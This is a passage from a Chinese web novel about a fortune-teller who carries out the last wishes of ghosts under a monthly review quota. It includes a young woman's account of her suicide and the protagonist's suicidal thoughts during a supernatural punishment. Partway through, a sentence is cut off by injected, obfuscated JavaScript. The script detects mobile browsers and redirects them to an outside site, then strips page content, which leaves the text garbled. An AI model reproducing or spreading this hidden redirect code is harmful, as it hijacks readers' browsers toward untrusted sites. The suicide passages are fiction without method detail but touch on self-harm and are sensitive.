比解决麻烦更快的是新麻烦找上门,刚巧就在月末的前一夜。 秋风刮骨的时节,老金这几天准备的都是锅子。尤其是今晚,松茸猪肚鸡汤锅。土母鸡、猪肚、鲜松茸、元贝,再加酥油提香。张祎宁一进门就被勾去了七魂。 店里每天的菜单都不一样,今天做了松茸猪肚鸡汤锅,明天保准就没有。张祎宁央求老金明天也做一次,一锅就好。明天就彻底熬过这个月了,这样好的锅子当然要在最快意轻松的晚上享用。 老金不像杜文新,平时不怎么说话,但只要张祎宁说的话题和吃有关,他就很乐意打开话匣子。所以,这个请求他很爽快地答应了。 张祎宁不敢冒进厨房,那里像是老金单独隔开的小天地,只好眼巴巴地透过玻璃往里看,再闻一闻食客桌上的汤锅飘来鲜滋味,耳边是咕嘟咕嘟的沸腾。 明晚,明晚就轮到自己吃了。 最后一份汤锅只剩下残羹冷炙,她就是在这时候进来的。 叮铃铃,门未开。 所有人的目光都聚焦在门上。 毫无疑问,今夜有客至。 来的是一个戴着眼镜穿着西服套装,看起来斯斯文文的女生,但她显然是风风火火跑来的,面露焦急之色。 她先是环顾了一遍室内,目光一一略过张祎宁他们,最后落在一角……呃……正在津津有味看《海绵宝宝》的刘元詹身上。 《大明王朝1566》看完后,张祎宁就拿出自己的启蒙动画片来,三百多集够看了,刚好还能让他学学说话。虽然最开始解释起来颇费了一番功夫,光是每个角色属于什么物种就解释了半天,张祎宁承认,这对一个古人来说有点勉强,但刘元詹毕竟不是普通人,看着看着也就看进去了。《海绵宝宝》多好看呀,很难有人能拒绝。 她进来后始终没说话,就看着刘元詹,张祎宁不知道她是在消化一只半束发,穿着直裰的鬼在看《海绵宝宝》这幅场景带来的冲击还是……蓦地,她想起了之前热火朝天时专门找鬼打的广告。 【诚邀,明朝俊逸书生在线征婚。】 那是她的算命摊最火热的时候,看乐子的有,跃跃欲试的有,美其名曰:相看。可惜一个都没成。 这女生不会是专程跑来寻的吧?张祎宁讶然道:“朋友,或许,你想和他结婚吗?” 话一出,刘元詹面容一肃,相看的阴影再次笼罩。 他不习惯被人围观,还是被男女老少一起围观,但,是张祎宁攒的局,其目的自是为了他,他不好发作,强忍下不适,一声不吭地像块没有表情没有颜色的大石呆立。如果说有哪个时刻无比强烈地渴望个解脱,便是那时。终于,在被好事者恣意戏弄地从他身体穿来穿去,耻辱感即将到达顶点的时候,张祎宁看见了这一幕,她板着脸叫停了。刘元詹长长地吐出一口气。 比起刘元詹,女生的反应更大,她瞬间大惊失色,“什么鬼!我就是因为催婚才死的,死了也要被逼婚?!” 张祎宁讪讪道:“不是不是,是我搞错了,我以为你来找他的。” 差点将顾客吓跑。 “没见过,多看两眼而已。” 张祎宁不知道这里的流程是什么,要不要先登个记,而且分配给她的名额从下个月才开始,说明这女生得充公分配,和自己没什么关系,她不确定是否要继续由她询问。给了杜文新一个眼神后,他也很识趣,开门见山:“姓名、诉求,说清楚后我会安排掌簿对接。” 和张祎宁半顺从半斟酌的语气不同,很组织的话术,公事公办。大组织就是有底气。 女生似是没料到这个发展走向,她往张祎宁的方向挪了两步,说道:“我是来找她的,我想让她帮我。” 哦?这种感觉就像在理发店里顾客上门点名,而她就是被钦点的TONY。头一次啊。 张祎宁没办法拒绝。她又没有加入“横”,自己找上门的顾客就是她的,不需要奉献给组织,如果杜文新拒绝的话,她打算带着两只鬼到门口说话,解决完再进来。 杜文新还不至于这么“见钱眼开”,他只是重新回到那堆需要处理的资料里,默许了。 张祎宁热情回应:“可以先说说你想让我帮你做什么。” “唔……”她左右看了看,不大自在,“能不能让我坐下说?” ……你们这些鬼!一个两个的,到底在搞什么鬼…… 你们是鬼啊!鬼不用坐椅子的! 张祎宁在心里用小本本记下了,有时间就从刘元詹身上搞清楚他们这些鬼的运作机制,看看是怎么个要坐法。 心里是这么想的,面上却不显,友善地替她拉开椅子,而后坐到对面。 她坐下后,微笑看着张祎宁,发自内心地说:“这样就对了。” 不对!不对!这不对! “我希望你可以帮我一个小忙,真的就是很简单的小忙,”她怅然道,“因为事发突然,我还没来得及写遗书,但我还有些话想跟我妈说,所以我希望你能以我朋友的身份出席我的葬礼,然后把我的遗书念给她听,呃……如果你不好意思念的话,直接交给她也行。就这么简单。” 听起来是没什么难度,但张祎宁心里更好奇另一件事。 “你刚刚说你是因为催婚死的,这是什么意思啊?我没有窥探你的隐私的意思,但是死因是我必须了解的一个方面。” 她有点抗拒,开始情不自禁地抠手指,“也没什么特别的,就是我妈她一直催婚嘛,我昨天下班回家发现她又来了,在进行了不愉快的大吵一架之后,这位女士又老样子以死相逼,说什么‘你死我亡’之类的话,我突然就觉得好没意思,亲情没意思,上班没意思,爱情没意思,活着也好没意思,既然她以死相逼,我就想,反正总有一个人要死,那我死掉好了。然后我就从阳台跳下去了。”她的语调在尽力保持平淡,体现自己的不甚在意。 “但有一件事很有意思喔!”她是真的觉得有意思,笑了起来,也不再抠手指,“我想分享给你听,就是我以前有想过自己最后死掉一定是因为自杀,但绝对不可能是跳楼,因为跳楼死掉很丑,而且是展示在所有人面前的丑欸,但没想到,我最后竟然是跳楼自杀的,就好像,你越不想要什么,最后反而就只能得到这样的结果,我到死才真的懂这个道理。” 她说完后看了看自己的手指,喃喃道:“昨天刚花钱做的美甲,今天就见不到了,可惜,我很满意的呢……”张祎宁仔细看了看,想象着它本该是什么模样,而后点点头,附和:“好看,blingbling的。” 张祎宁也伸出十指来,她从来没做过美甲,女生凑近瞧,赞道:“你的手指又细又长,指甲也很大,上色肯定好看。” 张祎宁想起很久之前看过的一本书《八百万种死法》,八百万个人就有八百万种死法,每一种死法都因各自不同的人生而有所区别。面前的女孩即是其中之一,她看上去和自己应该差不多大。 “好,我能做。” 这么简单就能完成,何乐而不为? 张祎宁收起手指,打开手机备忘录,“你说,我记。但我和你的字迹不一样,避免要解释更多,我到时候会打印出来。” “严谨。”她赞许道。 万事俱备,她酝酿了一下,几次欲张口都无法,环视了一圈后,低声道:“好尴尬啊,念自己的遗书好羞耻。” “你当他俩不存在就行。” 她给自己做了几分钟的思想准备,张祎宁能感觉到一股迷茫的氛围笼罩住了她,她嗫嚅道:“妈。” 而后又停顿了很长时间,眼神失焦。 “妈,现在你满意了吗?这个不省心的女儿、给你丢人的女儿终于消失了。我现在还挺得意的呢,用自己的死亡换得这场战役的终极胜利。” 张祎宁伸出手制止道:“呃,不好意思打断一下,我不能向你母亲转达关于你死后的信息,换一句吧。” “……行吧。” “那就改成,妈,你总说我小的时候很听话,怎么长大就不听话了呢?是啊,我小的时候多听话啊,从来没有吵过闹过,没有发过脾气没有过叛逆的青春期,但每个人都会有情绪的,你有没有想过一个那么听话的小孩其实才是问题呢?人怎么可能那么听话,像台设定好的没有情绪的机器一样,但你应该很欣慰吧?我最后又变成了听话的小孩,听你的话去死了……” “等等,不好意思,又拐回来了,这句话也不行。” 张祎宁再次无情地打断她,这回她受不了了,睃了张祎宁一眼,没好气地说:“不知道了,不知道怎么写了,这也不行那也不行!” 张祎宁自己也很不好意思,打断别人的沉浸也很需要勇气的,但张祎宁不是她,理解不了她那些过激的情绪,只当是个任务,希望能顺利完成,而且最大的前提是不给自己找麻烦。 但顾客现在生气了,任务停滞,也只能尽量帮她想办法。 “要不 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“这些其实我都可以忍,她爱折腾就随她去,最受不了的是有一次我和她很看好的一个男生相亲,我发现对方对我的生活了如指掌,甚至包括生理期、我的个人古怪癖好,还有我小时候的糗事。在我的威逼利诱之下他才吐露是我妈策划的,她通过翻我留在家里的初高中日记本、和同学来往的信件摸透了我,再把我的这些事都告诉对方,让对方佯装很了解我,是我的灵魂伴侣来接近我,只可惜对方太蠢太装,被我一眼看破。” “哇!毛骨悚然,细思极恐啊!”这时候真的很想来点瓜子饮料,这不比家庭伦理剧新鲜?都快赶上悬疑刑侦剧了。 “这才哪到哪啊?还有你想不到的呢,”她越说越来劲,“越是相亲相不到她就越着急,不可避免地开始相信缘分信玄学,每年都带我往寺庙跑,算姻缘。今年开年算出来我需要到三十岁才会迎来我的正缘,我可开心了,以为终于能喘口气,毕竟那是佛祖说的,她还能怎样?但我没想到的是,过了一个星期她直接带了个神婆过来,在我的出租屋里做了场烟熏火燎的法事,说给我改命了,今年正缘提前来。这不今年都过大半,眼看我还没一点苗头,急得跟火燎腚一样,就开始以死相逼了。” 张祎宁没有过这种体会,此刻听得真真叫一个不可思议,佩服道:“牛啊,神婆改命,你妈有点东西。” “对吧,听起来都很离谱的事情,我们互相都觉得是对方出了问题,她觉得我染上了坏东西才变得这么不听话,我觉得她是更年期到了,没点病也做不出这样的事来。”说到这里,她才在张祎宁面前露出那样悲伤的表情,今晚第一次,不知是为自己还是母亲。 谁都有点病,有人自知且能自控,有人不知还拖累人。 张祎宁斟字酌句:“你是不是很恨她?” 她怔了会儿,不太明白:“不恨啊,毕竟是我妈诶,再说也是我自己跳的,倒不至于恨她吧。” “但仅凭我一点微弱的同理心也能感觉到你刚刚想给你母亲写的遗书那些话很扎心,我估计她听完后不是当场手撕了我说我杀人诛心,就是直接心碎而亡或者被你气死。” “有……有这么严重吗?”她实打实地焦虑了起来。 “应该是有的,我估计你是因为刚和你母亲争吵完又历此大变故不久,心情还未平复,要不这样,你今天先冷静一下,明晚再来这里找我,明天我们再继续。” 她点点头,表示同意,又突然踟蹰:“那……那我今晚怎么办?今晚我要去哪里?我一个人没有地方去,有点害怕。”这样的慌乱出乎张祎宁的意料,她连死都不怕了,这世上该没有任何可惧怕的才对,对于张祎宁这个怕死的人而言,是这样的。 “那你昨晚在哪?” 她皱着眉,“昨晚跟着送灵车去了一趟,回来天都亮了。” “你现在是鬼了,没什么能伤害你的,别人也看不到你,你可以想去哪就去哪,你要是想的话可以回家看看,不想的话也可以去随便转转找你的同类聊聊天,八卦八卦他们的死因。喔,如果你见到他们……”张祎宁瞄了眼正自忙碌的杜文新,压低声音,“可以告诉他们来这找我,巴掌算命摊搬迁到这来了。” 她自语:“还哪有家……” 唔,又到关注鬼身心健康,安抚他们情绪的阶段了。张祎宁如临大敌,张张嘴想开解几句,但看看她彷徨恍惚的样子,到嘴边的话也只剩:“事已至此,别想太多。” 25. 命悬一线 杜文新第一次全程旁观张祎宁的处理。 得出了结论,她真的更适合在天桥上摆摊。 面面相觑大眼瞪小眼后自己先溜了,留下那个女鬼在这,他是没所谓,他从来把他们当空气。只是对方好像如坐针毡,不多时就怯生生开口:“我先走了,明天再来。” 但她不出意外地被门挡住,杜文新也不出意外地在她脸上看见了害怕、惶恐、紧张、疑惑。他撇了撇嘴,心想着这门怎么就不能做成遥控的呢?无视了每走近一步,对方的面目表情就扭曲一分的变化。 明明是鬼,到底还有什么可怕的,或者说,还有什么可失去的? 杜文新没看她,手覆上冰凉的金属把手,顿了一下,才想起问道:“你叫什么名字?” 她完全被近在咫尺的气场所震慑,虽然不安但还是如实作答:“徐淼淼,六个水。” * 徐淼淼逃之夭夭了。 发动逃跑技能的时候她才体会到当鬼的好处——透明、穿墙。 她以整座城市为游乐场,撒了欢地穿过一堵又一堵墙,登堂入室地窥伺别人的秘密,好整以暇地倾听别人的交谈。 多新鲜啊。 她着迷了。 在行不可描述之事,她闪。 同桌吃饭,光吃不说话,没意思。 其乐融融的温馨场面,她光速逃离。 “你小子海王啊,吊着四五个是要干嘛?” 哦?瓜? 徐淼淼一个急停,发现自己正处在男生宿舍,哇,男生宿舍诶,生前无缘得见,死后倒亲临现场了。 但是……很符合她的刻板印象,徐淼淼小心避过地上的鞋子和袜子,寻了个角落耐心吃瓜。 拿着手机的:“你来我往嘛,她们不是都说暧昧阶段最有意思吗?我这是在满足她们的需求。” 打游戏的:“你就不怕她们发现?” 床上还有一个:“拜拜就拜拜,下一个更乖。” 打游戏的:“别拜啊,苟富贵,勿相忘。” 床上的调笑道:“他用过的,你还敢用啊?不怕得病?” 拿着手机的:“找死是吧?我这都是正经妹子。隔壁那个才是,花二百找的还在那吹呢,也不嫌脏,哈哈哈哈!” 三人听到这乐子都笑了。 徐淼淼大翻白眼,对着每个人破口大骂发泄了一通,又拳打脚踢一顿,这才逃离垃圾场。 后来有听到说家长里短的,明天谁送小孩上学谁去医院看爸妈、楼上的小孩又在蹦蹦跳缺教养、刚在楼下捡漏到了七折的羊排可新鲜了连沫子都没……看到个蹲在厕所大哭的小女孩,徐淼淼陪了一会儿,还是默默走了。 最有兴趣的银行金库去了,没有想象中的金灿灿,只有伸手不见五指的黑,连深夜的殡仪馆她都亲历了一番,徐淼淼掰着指头数自己的愿望——环游世界目前来看有了可行性,可是她已经丧失了兴趣;想知道人死以后是什么样,嗯,现在已经知道了,接下来还会看到传说中的鬼门关;想看看地外世界,看起来还不是老祖宗的能力范畴,那国外呢?国外是提着镰刀的死神掌管生死大事吗? 徐淼淼仰脸看天,深沉沉的,一点放亮的趋势都没有,原来这夜也不是一眨眼就能过了的。 今夜未尽,她已经倦了,做鬼也没什么好玩的,和做人一样无聊…… * “还没来?”老金少见地出现在前台,拿着厨房用纸擦铁勺。 “都没来。” “兴许是做了别的约定。” 杜文新轻轻哂笑,将这事抛到脑后,“冯宇统计完了,他先转一圈。” 他们虽能实时掌握最新死亡信息,根据掌簿名册按区域分配,但人手有限,且说白了,大部分掌簿并非全职,很难做到及时响应。另外,他们掌握的是死亡信息,还需要根据后续功曹司提供的名录筛选出执念未了弥留人世的鬼,在这个基础上总会有一些未被及时发现也未找掌簿报道的落单鬼。不为人知处最易埋隐患,杜文新和老金有一部分的工作对象便是这些“隐患”。 “这事交给他就行,我们还是做该做的。” “防患于未然吧,多走动走动。” “嗯。” 约定好的吃锅子听八卦,当事人都不在。实在想不到张祎宁面对这两大乐事会放鸽子,如果她没有命悬一线的话。毕竟阎王要她死,哪能留她到后天? 确实是两件乐事,张祎宁前一天晚上想到那一整锅松茸猪肚鸡汤都是自己的,睡得比往日都香。 净手、擦桌,老金将砂锅放在卡式炉上,点火、掀盖,被强压下去的香味此刻因为没有外物的遮盖,随着袅袅飘升的热烟迷了张祎宁的眼,香味钻进了脑子里,烟雾攀上了眼眶,里面沉闷闷的,外边湿漉漉的。 沉闷变成尖锐,湿漉坠成水滴。第一口汤摔在了地上。 她在杜文新、老金和刘元詹诧异的目光中,痛苦地抱头。 蜷缩。痛吟。 眼前的画面像被装进了万花筒,她看见了无数个他们,有的上前有的退后,无数道声音又再被切割,参差的横截切面混着碎渣一股脑挤进耳朵。张祎宁混混沌沌地想,老金煮的是松茸吗?莫不是采成了毒蘑菇,这下好了,因为贪吃要一命呜呼了……那毒蘑菇是什么味儿的,怎么就想不起来了,不……她……她第一口汤都没喝上呢……摔了呀…… 张祎宁用力睁大眼想看清那锅里到底是什么,可转瞬,眼前已经没有汤锅了,没有杜文新和老金,也没有刘元詹,是熟悉的房间装潢。 她以为是噩梦,一场美梦成空的噩梦。之前所经历的种种,什么地府什么掌簿什么刘元詹都是一场梦,她其实真的已经死了。 但熟悉的痛感还在持续,大有和她不死不休的劲头,是真实的,那些阴差阳错的命运,还有现如今的疼痛。 张祎宁用尽力气大喊:“臭阎王!死阎王!你给我滚出来!” 她再顾不得许多,偏偏痛的伤的是头。 阎王还没有回应,刘元詹先被她吼了进来。 他一定是被自己吓到了,本还在门边踟蹰,那碍于男女大防的忸怩在看到她的脸色后登时消散。他快步上前,伸出的手滞在半空,轻声问道:“你怎么了?” 但张祎宁回答不了。她太痛了,积蓄的力气除了要维持清醒,还得用来对付阎王。四周静悄悄的,但不知是因为她现在半生生死、魂灵不稳的状态,她竟在朦胧中看见不同寻常的迷雾。 像溺水的人明知挣扎会沉得更快,但本能促使,有一分力就使尽一分力。 “阎王,救救我……我这个月完成了,搞错了……” 她已经分辨不出是谁的声音,只是有人在说:“没有,这个月你未按时完成。” “不会的,那个博士生,我帮他发送了实名举报信,还有那个老奶奶,要我帮忙向孙子隐瞒死讯,虽然……虽然失败了,可是奶奶给了我好评……”张祎宁掐紧大腿,维持神智清明,想再抓住一点凭依,“刘元詹也知道的,对不对?” 刘元詹听不见阎王的声音,但他始终关注着张祎宁,忙不迭点头,“是、是、是。” “林书瑞是上个月底的事。” 上个月底……她记不清了,“分这么清吗?我明明、明明有那么多五星好评,上个月我有六个,超额完成,能不能分一个到这个月?” “这个月未完成。” 阎王油盐不进,咬文嚼字地反驳她的抗议和请求,直到她再也没力气申诉。 他不在了,张祎宁能感觉得到,她看着自己一点一点沉入水底。 好累,大不了就是死掉而已,死掉就不痛了,不用求别人,一了百了。 脑子里的自言自语异常大声,不断重复这句话,像是催眠和心理暗示。张祎宁突然就懂得了昨天那个女生是怎么有勇气跳下去的。“一了百了”,多有吸引力。 眼泪划过鼻梁骨,滴落在被子上,洇出一滩深色的水渍。 刘元詹时刻注意着她的脸色,小心翼翼地问:“好了吗?还疼吗?” 她凄然地想摇头,却没有力气,只能哭:“疼死了,好想死,怎么死不掉?” 他蹲下,靠近,跽坐在床边,伸出手想抹掉张祎宁脸上的泪,却什么也没擦去。 “不疼不疼。”他不知从哪学来的,轻轻吹气,口中喋喋不休:“不疼不疼。” “怎么做才能不痛?吃药?” 她这时才想起感知到钝痛后立马猛磕了一片止痛药,看来是根本没有效果。晕也晕不过去,痛也还痛着。 “没用。” 脸上一片湿润,乱发横七竖八地粘连着,狼狈不堪。 “疼,刘元詹。” 张祎宁看进刘元詹的眼底,她记得,刘元詹望向吴智宁的眼神,什么也没有, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448802|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平静无波,无喜无悲,她害怕,害怕他也会用这样的眼神望着此刻的自己。 还好,他不是。算他有良心。 “哪里疼?” “头,又好像全身都在疼。” 她看见刘元詹将手覆在自己头上,她顺从地闭上眼,试图适应疼痛,忘却疼痛。 张祎宁的眼睛闭着,可眉头蹙着,睫毛抽动着,泪水涟涟着,刘元詹敛声屏息,他什么也做不了,偏又不会说话,只能有一下没一下地轻拍她的脑袋。像是所有人类共通的招式,拍一拍,吹一吹,就不疼了。 可显然不管用。 “疼,刘元詹。”张祎宁压抑的呜咽转而变成清晰的哭泣,直至擦过刘元詹的手,将脸埋进被褥中嚎啕大哭。 所有的负面情绪劈头盖脸地向她砸来,她不再做抵抗防御姿态,张开双臂双脚迎接它们。 哭到嗓子痒得只能干咳到呕吐,哭到眼睛肿得不能视物,哭到半边身子都麻痹,她总算平静了下来,感觉整个人都被掏空了,情绪、力气、思想全都缴械奔逃,只剩疼痛在体内攻城掠地。 她艰难地将脸转开,房间里的黑不再与亮相抗,而是氤氲着混合成一团,其中又有不知是夜晚的灯光,还是白昼的阳光,透过窗帘缝射入,失去了蓬勃的生命力,懒洋洋地趴在床尾。 “刘元詹?”她看不太清,安静地连自己的呼吸声都听不见。 “我在。好点了吗?” “会过去的,今天会过去的。过去就好了。” “快了。” 刘元詹连说了不少安慰话,有用没用的,全使上了。 她扯着干哑的嗓子问:“你是不是很想很想离开这里,哪怕灰飞烟灭?” 张祎宁竟然好像听见了他轻轻的呼吸声,像是也同时触摸到他的心跳,感受到他的体温。 他坦诚:“是。” “好,我帮你。” 张祎宁没怎么体会过别人的好,也没体会过对别人好是什么感觉,她想,刘元詹对她应该是好的吧,那她也试试,试试对他好,帮帮他。 意识从混沌到清明,张祎宁做了很混乱的梦。在梦里,她手脚戴着镣铐,被押解着前往某地,那里有灼人的烈焰,有一人的视线穿过焰火落在她身上,是刘元詹!她焦急地央求一旁的守卫,可对方的脖子上只顶着具焦黑的骷髅。 “你快出来啊刘元詹!会死的!” “你不想进来吗祎宁?进来吧。” 依旧是那样的眼神,对生死无谓,对痛苦无睹。 火舌寸寸靠近,不再是致命的陷阱,而是化作水一样的柔情漩涡。 “为什么,为什么是我们?” 刘元詹莞尔:“人各有命。” “出来,刘元詹,可以不是这样的。” “还能怎样呢?”他在火里笑得灿烂。 还能怎样? 一个转念间,她的手不再被镣铐束缚,而是握持着红色的灭火器,她下定决心,对准仍在不断扩散的火龙,按下。整个世界是飘着粉尘的白,她觉得有什么堵在嗓子眼里,俯下身呛咳。 “咳咳咳——咳咳咳——” “张祎宁?祎宁?!” 嗯? 看到她睁开眼,刘元詹才顿觉脱力。方才没头没尾地说完话她就沉默了,呼吸逐渐平稳,可刚放下没一会儿的心又揪了起来,她突然剧烈咳嗽,不论他怎么喊都不见好转。 “魇着了?” “刘元詹,你竟然想拉我去死?”张祎宁顺过气来说出的第一句话是兴师问罪。 “什么?我、我不曾!动念都未曾有!”突然被扣上莫须有的罪名,他辩无可辩。 张祎宁只是这么一说,她也不会迁怒他,毕竟他们没有一起葬身火海。现代人就是好,金手指一开,灭火器一喷,小小火苗,不在话下。 关键时刻还得靠自己。至于为什么在梦里又反悔不想死了,她觉得自己只是不想死于火烧。 火灭了,头好像也没那么痛了。她强撑着坐起,从床底找到被扣上的手机,竟然已经晚上11点了,她这才想起自己爽约,也想起今天忘记了请假。 有一通杜文新的未接来电,她几乎没听见。 她问刘元詹:“你有听见手机响吗?” “没有。” 那应该只是响了几秒。 意料之中,他们的关系本来就不亲厚。 26. 松茸猪肚鸡汤 张祎宁的头又痛了,倒不如前一天那么受罪,像是宿醉后的昏沉,再加一点力竭的眩晕,还有旷工被扣钱的心痛。 昨天没死成,今天就还得吃饭,还得上班。 她按着发胀的太阳穴推开房门,被晨光一刺,不由发出了“嘶”的抽气声。 “可是又疼了?” 她眨眨眼,适应过来,声音依旧有气无力:“没有,疼两天不死也得废了。” 起得早了些,张祎宁收拾好自己后难得做了餐早饭,粒米未进饿过了劲儿,胃口也差了不少。正发着呆让大脑多享受点松弛时刻,刘元詹蹭了过来。 “可是阎王的严刑?他……你,你犯了错?” 张祎宁手上忙着撕滚烫的白面馒头,边抬眼看他,“你不知道?” 他摆出倾听的姿势:“知道什么?” 在张祎宁看来,这应该不算秘密,况且这是埋在每个掌簿身体里的一根刺一道雷。她本来还想从年老有经验的鬼、拥有一整张掌簿关系网的杜文新和老金身上打探打探有没有“作弊”的办法。 她耐心解释:“说是惩罚也没错。一则,我们这些掌簿都是由死偷生,这是天罚;二则,阎王定下了考核标准,每个月需要获得两个五星好评,不然就会受到惩罚。诶?我之前没跟你说过吗?” 刘元詹肯定地摇头,但补充道:“五星好评我知道,你同我同他们都提过。” “好吧,那我多说点。每个人的惩罚具体表现也都不一样,可以说是重现你死亡的那一刻,像我,当初被东西砸死,现在也就是再体验一遍那时的痛苦,死上个一整天,”她不禁打了个寒颤,一口塞进温热的馒头,扯开话题,含混续道,“要我说,你们和我们就应该互帮互助,我们帮你们实现了愿望,你们就帮我们打个好评,只是顺手好评,这么简单又两全其美的事……” 说到这,张祎宁恨恨地咬牙,又想起几个月前的亏本买卖,那鬼是个老实本分的模样,谈吐也斯文有礼,所求之事更是最常见的留重要信息一类,她早就得心应手,自认从始至终都完成得不错,况且对方的态度很好,最后连声道谢,承诺会帮自己打个好评。十拿九稳的事情最后却被摆了一道,对方根本没给自己兑现承诺。张祎宁气得想连夜刨了他的坟。 “唉,这么想来,我们掌簿才是最卑微的角色,一场空……” 刘元詹支颐听着,时不时点头,“原是如此,我定不会做此等背信之事。” 张祎宁勉强地笑了笑,“那是自然,我相信你。”前提是先走到那一步。 “那我们定要加倍努力,不再如此受制于人。” 张祎宁摇头,苦笑道:“我之前不够努力吗?除了工作外的时间我基本都奉献出来了,我一月十单又如何呢?要求的是每月两个好评,就是两个,多了没用,少了更是不留情面。现在我已经有了杜文新他们的资源助力,要完成这个KPI想来不难,也好,我可以好好休息了。” 把前天那个女鬼的执念完成,不算太难,然后再从杜文新那薅一个简单的过来……不对,杜文新之前说让自己先把那个小鬼的给完成才派单,嘶……那个小鬼……有点棘手……女鬼的也不好办,自己突然失约,那个女鬼会不会生气换掌簿了,又或者昨天已经被杜文新截胡…… * 杜文新和老金慢悠悠地闲晃,1980taste在街那头,他们的开业时间是晚上八点,这时的街道两边已有不少摊贩开始上客了,他们就喜欢沿着人流慢慢走,凑凑热闹,再看看有没有时兴的新鲜玩意儿,但看起来老金不是这个主意的受众,他目不斜视地直直往前走。 “老金,快接着,快。” 杜文新的声音从侧后方响起,老金刚停下脚步转过头,手上就已经被塞进了一块冰冷的东西。 “快拿着,冻死我了!”杜文新叼着一半的可乐味旺旺碎冰冰,甩甩手上的冰水。 老金看着自己手上的半条,面不改色地拒绝:“我不吃这种东西。” “我知道,先帮我拿着,太冻手了。” 他们重新往前走。 “你真不吃?还挺好吃的。” “吃什么?水加糖浆加香精加添加剂?你要想吃,我可以做刨冰。” “不要不要,就得吃这些。” 老金不再理会杜文新,手里攥着另外半条。 杜文新吸得还剩一点底的时候,他们刚好来到店门前,不同的是,今夜的门外还蹲着一只鬼。 “徐淼淼?” 徐淼淼抬起头,看着面前的两个男人,其中一个她见过,是那个吧台后面有点严肃的男人,另一个是生面孔。她站起身,往他们后面瞧,没看见那个女生和那只奇怪的鬼,有点不知所措,“我……我来找巴掌。” 杜文新手上掏着钥匙开门,嘴里叼着碎冰冰,含糊道:“她晚点应该会来,进去等吧。” 徐淼淼低头道谢,顺着他推开的门走了进去。 杜文新从老金手里接过另外半条,嬉皮笑脸:“你先进去,我在门口吸完了再进。” 他可不想当着一只鬼的面吸碎冰冰。 杜文新在门口把碎冰冰都吃完,又从街对面要了根烤肠,这天气是越来越冷了,也不知道还能再吃几次碎冰冰。 张祎宁和刘元詹到了,张祎宁的脸色不太好,挂满了疲惫,五官都沉得往下耷拉。 他漫不经心地看着那两个身影走来,直到在面前站定,“徐淼淼在里面等你了。” 张祎宁表情微愣,疑问道:“谁?” 杜文新将烤肠一口塞进嘴里,撒气似的将签子投进路边的垃圾桶,“那个女鬼,人家叫徐淼淼。” 哦……那个女鬼叫徐淼淼…… 张祎宁确实忘了问对方叫什么名字,不过她一直都这样,不太在意这些,有些鬼都是直到最后一刻要勾魂时,她才知晓他们的名字。 徐淼淼在里面,安安静静地坐在角落里。店里只有她一只鬼,老金呆在厨房不出来,杜文新又在门外,即便这样,她还是不大自在,只盼巴掌能快点到,看见门口终于出现巴掌的身影,她露出了两天以来的第一张笑脸。 “不好意思啊,我昨天临时有点事,不是故意爽约的。” 听到自己刚要出口的道歉被人抢先说出,她愣了一下,反应过来后也说道:“没事,我昨天也失约了。” 张祎宁在徐淼淼对面的椅子上坐下,饶有兴致地问:“哦?挺巧,是发生什么事了吗?” 徐淼淼不好意思地笑了笑:“唔……迷路了,还不太适应这种没有导航穿来穿去的方式。” 张祎宁闻言笑道:“说实话,我现在都没适应你们这种方式,咻地一下飞了过去,嗵地一下又跳楼跳桥,很吓人。” 徐淼淼好奇道:“飞?怎么飞?像鸟儿一样飞吗?跳楼跳桥就算了,我还是有点怕。” “啊?我也不知道,就是欻地一下从眼前过去了,”张祎宁指着刘元詹,“你问他,他死的时间长,会的也多。” 瞬时两双眼睛都聚焦到了刘元詹身上,她们上下打量他,一种被人看透全身上下毫无保留的羞耻感让刘元詹不知所措,也挪不开步子,只能避开目光,语气生硬地解释:“不是飞,是疾走。” “啊,我懂了,就是跑起来,但可能落在你的眼里像是飞了过去。” 张祎宁一直就对他们这种鬼的形态充满了好奇,但刘元詹不禁逗,不怎么愿意配合自己做实验,现下有一个聪明又直率的徐淼淼出现,她忍不住提出建议:“不然你也试试?我想近距离地仔细看看。” “可以啊,明天吧,明天参加完我的葬礼后可以试试。” 张祎宁飘到半空的思绪被扯回,算算时间也差不多了,这第一步——写遗书还没开始做呢,她问道:“你想好遗书该怎么写了吗?” “越想越不知道该怎么说出口,不然明天现场发挥吧?我说一句,你传一句行不行?” 张祎宁脱口而出:“这怎么行?如果明天你也想不出来呢?或者想出来的我都不能说呢?而且……而且我当面跟你母亲说,这也太……”太为难我了吧…… 劈头盖脸的诘问落下,徐淼淼的脸色不太好,张祎宁自省语气有点强势,再回忆起前一天的痛苦似头顶的铡刀,每拒绝一只鬼,那铡刀便落下一点,她闭上眼睛,深吸口气,赶忙放缓声调,轻声问道:“没关系,还有一个晚上的时间,不然你今晚再想想好不好?打个腹稿也行。” 徐淼淼一定是吃软不吃硬的,她立马妥协:“行,我好好想想。” 那今晚的任务其实到这就解决了。张祎宁看了看吧台后面低头忙碌的杜文新和在门边站着发呆的刘元詹,以及对面安静下来似乎确实在内心措辞遗书的徐淼淼,又回到了安静得清晰可闻一呼一吸的氛围,她开始思考怎么不失礼貌地带着刘元詹先撤。 一般要提出自己的想法之前都会先寒暄一下,关心对方一两句作为正题前的铺垫,对吧?张祎宁摆出职业假笑,问道:“你今晚有什么打算吗?” “没有,也不敢跑太远,万一又迷路可不好,这里……”她悄悄将目光移向那个戴眼镜的男人,凑近张祎宁压低声音问道:“这里晚上会关门吗?” “呃……”这个没问过,不太清楚,但就算不关门……“你今晚要留在这里?”她难以置信地问道。 跟人嫌鬼怕的杜文新关在一个密不透风的小屋子里,妹子你还是初次当鬼,不晓事啊!她自己都不清楚杜文新手上还有什么技能牌、肚里又有什么花花肠子,毕竟徐淼淼是奔着自己来的,好歹不能见死不救,她决定再好言相劝一番:“你如果真想呆在这,可以自己去问坐在吧台后面那男的,他是这里的老板,我也不保证他同不同意。但是,你明天葬礼结束估计就会直接勾魂,今晚应该是你在这个世界上过的最后一晚,你还有什么未见的人、未了的事吗?明天可就真没机会了。” 徐淼淼喃喃道:“最后一晚吗……我……我想回家。也可以吗?” 